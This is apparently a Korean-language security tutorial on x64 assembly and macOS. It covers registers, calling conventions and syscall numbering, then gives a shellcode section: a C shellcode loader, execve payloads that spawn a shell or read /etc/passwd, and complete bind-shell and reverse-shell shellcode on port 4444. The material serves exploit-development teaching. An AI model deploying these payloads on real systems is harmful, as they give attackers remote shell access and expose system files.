Introduction to x64

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Introduction to x64

x64, 또는 x86-64로도 알려진, 데스크탑 및 서버 컴퓨팅에서 주로 사용되는 64비트 프로세서 아키텍처입니다. Intel에서 제작한 x86 아키텍처에서 유래되었으며, 이후 AMD가 AMD64라는 이름으로 채택하였습니다. 현재 개인용 컴퓨터와 서버에서 널리 사용되는 아키텍처입니다.

x64는 x86 아키텍처를 확장하여 16개의 범용 레지스터를 특징으로 하며, 이들은 rax, rbx, rcx, rdx, rbp, rsp, rsi, rdi, 그리고 r8부터 r15까지 레이블이 붙어 있습니다. 이들 각각은 64비트(8바이트) 값을 저장할 수 있습니다. 이 레지스터들은 호환성과 특정 작업을 위해 32비트, 16비트, 8비트 서브 레지스터도 가지고 있습니다.

rax - 전통적으로 함수의 반환 값에 사용됩니다.
rbx - 메모리 작업을 위한 기본 레지스터로 자주 사용됩니다.
rcx - 루프 카운터로 일반적으로 사용됩니다.
rdx - 확장된 산술 연산을 포함한 다양한 역할에 사용됩니다.
rbp - 스택 프레임의 기본 포인터입니다.
rsp - 스택 포인터, 스택의 최상단을 추적합니다.
rsi 및 rdi - 문자열/메모리 작업에서 소스 및 대상 인덱스에 사용됩니다.
**r8**부터 r15 - x64에서 도입된 추가 범용 레지스터입니다.

Calling Convention

x64 호출 규약은 운영 체제에 따라 다릅니다. 예를 들어:

Windows: 첫 번째 네 개의 매개변수는 레지스터 rcx, rdx, r8, **r9**에 전달됩니다. 추가 매개변수는 스택에 푸시됩니다. 반환 값은 **rax**에 있습니다.
System V (UNIX 유사 시스템에서 일반적으로 사용됨): 첫 번째 여섯 개의 정수 또는 포인터 매개변수는 레지스터 rdi, rsi, rdx, rcx, r8, **r9**에 전달됩니다. 반환 값도 **rax**에 있습니다.

함수가 여섯 개 이상의 입력을 가지면, 나머지는 스택에 전달됩니다. RSP, 스택 포인터는 16바이트 정렬되어야 하며, 이는 호출이 발생하기 전에 가리키는 주소가 16으로 나누어 떨어져야 함을 의미합니다. 이는 일반적으로 함수 호출 전에 RSP가 적절히 정렬되어야 함을 의미합니다. 그러나 실제로는 이 요구 사항이 충족되지 않더라도 시스템 호출이 여러 번 작동합니다.

Calling Convention in Swift

Swift는 https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#x86-64에서 찾을 수 있는 자체 호출 규약을 가지고 있습니다.

Common Instructions

x64 명령어는 풍부한 세트를 가지고 있으며, 이전 x86 명령어와의 호환성을 유지하고 새로운 명령어를 도입합니다.

mov: 한 레지스터 또는 메모리 위치에서 다른 위치로 값을 이동합니다.
예: mov rax, rbx — rbx의 값을 rax로 이동합니다.
push 및 pop: 스택에 값을 푸시하거나 팝합니다.
예: push rax — rax의 값을 스택에 푸시합니다.
예: pop rax — 스택의 최상단 값을 rax로 팝합니다.
add 및 sub: 덧셈 및 뺄셈 연산입니다.
예: add rax, rcx — rax와 rcx의 값을 더하여 결과를 rax에 저장합니다.
mul 및 div: 곱셈 및 나눗셈 연산입니다. 주의: 이들은 피연산자 사용에 대한 특정 동작을 가지고 있습니다.
call 및 ret: 함수를 호출하고 반환하는 데 사용됩니다.
int: 소프트웨어 인터럽트를 트리거하는 데 사용됩니다. 예: int 0x80는 32비트 x86 Linux에서 시스템 호출에 사용되었습니다.
cmp: 두 값을 비교하고 결과에 따라 CPU의 플래그를 설정합니다.
예: cmp rax, rdx — rax를 rdx와 비교합니다.
je, jne, jl, jge, ...: 이전 cmp 또는 테스트의 결과에 따라 제어 흐름을 변경하는 조건부 점프 명령어입니다.
예: cmp rax, rdx 명령어 후, je label — rax가 rdx와 같으면 label로 점프합니다.
syscall: 일부 x64 시스템(예: 현대 Unix)에서 시스템 호출에 사용됩니다.
sysenter: 일부 플랫폼에서 최적화된 시스템 호출 명령어입니다.

Function Prologue

이전 기본 포인터 푸시: push rbp (호출자의 기본 포인터를 저장)
현재 스택 포인터를 기본 포인터로 이동: mov rbp, rsp (현재 함수에 대한 새로운 기본 포인터 설정)
로컬 변수를 위한 스택 공간 할당: sub rsp, <size> (여기서 <size>는 필요한 바이트 수)

Function Epilogue

현재 기본 포인터를 스택 포인터로 이동: mov rsp, rbp (로컬 변수 해제)
이전 기본 포인터를 스택에서 팝: pop rbp (호출자의 기본 포인터 복원)
반환: ret (호출자에게 제어 반환)

macOS

syscalls

다양한 클래스의 시스템 호출이 있으며, 여기에서 찾을 수 있습니다:

#define SYSCALL_CLASS_NONE	0	/* Invalid */
#define SYSCALL_CLASS_MACH	1	/* Mach */
#define SYSCALL_CLASS_UNIX	2	/* Unix/BSD */
#define SYSCALL_CLASS_MDEP	3	/* Machine-dependent */
#define SYSCALL_CLASS_DIAG	4	/* Diagnostics */
#define SYSCALL_CLASS_IPC	5	/* Mach IPC */

그런 다음 각 syscall 번호를 이 URL에서: 찾을 수 있습니다.

0	AUE_NULL	ALL	{ int nosys(void); }   { indirect syscall }
1	AUE_EXIT	ALL	{ void exit(int rval); }
2	AUE_FORK	ALL	{ int fork(void); }
3	AUE_NULL	ALL	{ user_ssize_t read(int fd, user_addr_t cbuf, user_size_t nbyte); }
4	AUE_NULL	ALL	{ user_ssize_t write(int fd, user_addr_t cbuf, user_size_t nbyte); }
5	AUE_OPEN_RWTC	ALL	{ int open(user_addr_t path, int flags, int mode); }
6	AUE_CLOSE	ALL	{ int close(int fd); }
7	AUE_WAIT4	ALL	{ int wait4(int pid, user_addr_t status, int options, user_addr_t rusage); }
8	AUE_NULL	ALL	{ int nosys(void); }   { old creat }
9	AUE_LINK	ALL	{ int link(user_addr_t path, user_addr_t link); }
10	AUE_UNLINK	ALL	{ int unlink(user_addr_t path); }
11	AUE_NULL	ALL	{ int nosys(void); }   { old execv }
12	AUE_CHDIR	ALL	{ int chdir(user_addr_t path); }
[...]

open 시스템 호출 (5)을 Unix/BSD 클래스에서 호출하기 위해서는 다음을 추가해야 합니다: 0x2000000

따라서 open을 호출하는 시스템 호출 번호는 0x2000005입니다.

Shellcodes

컴파일하려면:

bash

nasm -f macho64 shell.asm -o shell.o
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib

바이트를 추출하려면:

bash

# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/b729f716aaf24cbc8109e0d94681ccb84c0b0c9e/helper/extract.sh
for c in $(objdump -d "shell.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n '\\x'$c
done

# Another option
otool -t shell.o | grep 00 | cut -f2 -d$'\t' | sed 's/ /\\x/g' | sed 's/^/\\x/g' | sed 's/\\x$//g'

쉘코드를 테스트하기 위한 C 코드

// code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c
// gcc loader.c -o loader
#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <stdlib.h>

int (*sc)();

char shellcode[] = "<INSERT SHELLCODE HERE>";

int main(int argc, char **argv) {
printf("[>] Shellcode Length: %zd Bytes\n", strlen(shellcode));

void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0);

if (ptr == MAP_FAILED) {
perror("mmap");
exit(-1);
}
printf("[+] SUCCESS: mmap\n");
printf("    |-> Return = %p\n", ptr);

void *dst = memcpy(ptr, shellcode, sizeof(shellcode));
printf("[+] SUCCESS: memcpy\n");
printf("    |-> Return = %p\n", dst);

int status = mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ);

if (status == -1) {
perror("mprotect");
exit(-1);
}
printf("[+] SUCCESS: mprotect\n");
printf("    |-> Return = %d\n", status);

printf("[>] Trying to execute shellcode...\n");

sc = ptr;
sc();

return 0;
}

셸

여기에서 가져온 내용이며 설명됩니다.

armasm

bits 64
global _main
_main:
call    r_cmd64
db '/bin/zsh', 0
r_cmd64:                      ; the call placed a pointer to db (argv[2])
pop     rdi               ; arg1 from the stack placed by the call to l_cmd64
xor     rdx, rdx          ; store null arg3
push    59                ; put 59 on the stack (execve syscall)
pop     rax               ; pop it to RAX
bts     rax, 25           ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall

armasm

bits 64
global _main

_main:
xor     rdx, rdx          ; zero our RDX
push    rdx               ; push NULL string terminator
mov     rbx, '/bin/zsh'   ; move the path into RBX
push    rbx               ; push the path, to the stack
mov     rdi, rsp          ; store the stack pointer in RDI (arg1)
push    59                ; put 59 on the stack (execve syscall)
pop     rax               ; pop it to RAX
bts     rax, 25           ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall

cat으로 읽기

목표는 execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)를 실행하는 것입니다. 여기서 두 번째 인수(x1)는 매개변수의 배열입니다(메모리에서 이는 주소의 스택을 의미합니다).

armasm

bits 64
section .text
global _main

_main:
; Prepare the arguments for the execve syscall
sub rsp, 40         ; Allocate space on the stack similar to `sub sp, sp, #48`

lea rdi, [rel cat_path]   ; rdi will hold the address of "/bin/cat"
lea rsi, [rel passwd_path] ; rsi will hold the address of "/etc/passwd"

; Create inside the stack the array of args: ["/bin/cat", "/etc/passwd"]
push rsi   ; Add "/etc/passwd" to the stack (arg0)
push rdi   ; Add "/bin/cat" to the stack (arg1)

; Set in the 2nd argument of exec the addr of the array
mov rsi, rsp    ; argv=rsp - store RSP's value in RSI

xor rdx, rdx    ; Clear rdx to hold NULL (no environment variables)

push    59      ; put 59 on the stack (execve syscall)
pop     rax     ; pop it to RAX
bts     rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall         ; Make the syscall

section .data
cat_path:      db "/bin/cat", 0
passwd_path:   db "/etc/passwd", 0

sh로 명령어 호출하기

armasm

bits 64
section .text
global _main

_main:
; Prepare the arguments for the execve syscall
sub rsp, 32           ; Create space on the stack

; Argument array
lea rdi, [rel touch_command]
push rdi                      ; push &"touch /tmp/lalala"
lea rdi, [rel sh_c_option]
push rdi                      ; push &"-c"
lea rdi, [rel sh_path]
push rdi                      ; push &"/bin/sh"

; execve syscall
mov rsi, rsp                  ; rsi = pointer to argument array
xor rdx, rdx                  ; rdx = NULL (no env variables)
push    59                    ; put 59 on the stack (execve syscall)
pop     rax                   ; pop it to RAX
bts     rax, 25               ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall

_exit:
xor rdi, rdi                  ; Exit status code 0
push    1                     ; put 1 on the stack (exit syscall)
pop     rax                   ; pop it to RAX
bts     rax, 25               ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall

section .data
sh_path:        db "/bin/sh", 0
sh_c_option:    db "-c", 0
touch_command:  db "touch /tmp/lalala", 0

Bind shell

포트 4444에서 https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html의 Bind shell

armasm

section .text
global _main
_main:
; socket(AF_INET4, SOCK_STREAM, IPPROTO_IP)
xor  rdi, rdi
mul  rdi
mov  dil, 0x2
xor  rsi, rsi
mov  sil, 0x1
mov  al, 0x2
ror  rax, 0x28
mov  r8, rax
mov  al, 0x61
syscall

; struct sockaddr_in {
;         __uint8_t       sin_len;
;         sa_family_t     sin_family;
;         in_port_t       sin_port;
;         struct  in_addr sin_addr;
;         char            sin_zero[8];
; };
mov  rsi, 0xffffffffa3eefdf0
neg  rsi
push rsi
push rsp
pop  rsi

; bind(host_sockid, &sockaddr, 16)
mov  rdi, rax
xor  dl, 0x10
mov  rax, r8
mov  al, 0x68
syscall

; listen(host_sockid, 2)
xor  rsi, rsi
mov  sil, 0x2
mov  rax, r8
mov  al, 0x6a
syscall

; accept(host_sockid, 0, 0)
xor  rsi, rsi
xor  rdx, rdx
mov  rax, r8
mov  al, 0x1e
syscall

mov rdi, rax
mov sil, 0x3

dup2:
; dup2(client_sockid, 2)
;   -> dup2(client_sockid, 1)
;   -> dup2(client_sockid, 0)
mov  rax, r8
mov  al, 0x5a
sub  sil, 1
syscall
test rsi, rsi
jne  dup2

; execve("//bin/sh", 0, 0)
push rsi
mov  rdi, 0x68732f6e69622f2f
push rdi
push rsp
pop  rdi
mov  rax, r8
mov  al, 0x3b
syscall

리버스 셸

https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html에서 리버스 셸. 127.0.0.1:4444로 리버스 셸.

armasm

section .text
global _main
_main:
; socket(AF_INET4, SOCK_STREAM, IPPROTO_IP)
xor  rdi, rdi
mul  rdi
mov  dil, 0x2
xor  rsi, rsi
mov  sil, 0x1
mov  al, 0x2
ror  rax, 0x28
mov  r8, rax
mov  al, 0x61
syscall

; struct sockaddr_in {
;         __uint8_t       sin_len;
;         sa_family_t     sin_family;
;         in_port_t       sin_port;
;         struct  in_addr sin_addr;
;         char            sin_zero[8];
; };
mov  rsi, 0xfeffff80a3eefdf0
neg  rsi
push rsi
push rsp
pop  rsi

; connect(sockid, &sockaddr, 16)
mov  rdi, rax
xor  dl, 0x10
mov  rax, r8
mov  al, 0x62
syscall

xor rsi, rsi
mov sil, 0x3

dup2:
; dup2(sockid, 2)
;   -> dup2(sockid, 1)
;   -> dup2(sockid, 0)
mov  rax, r8
mov  al, 0x5a
sub  sil, 1
syscall
test rsi, rsi
jne  dup2

; execve("//bin/sh", 0, 0)
push rsi
mov  rdi, 0x68732f6e69622f2f
push rdi
push rsp
pop  rdi
xor  rdx, rdx
mov  rax, r8
mov  al, 0x3b
syscall

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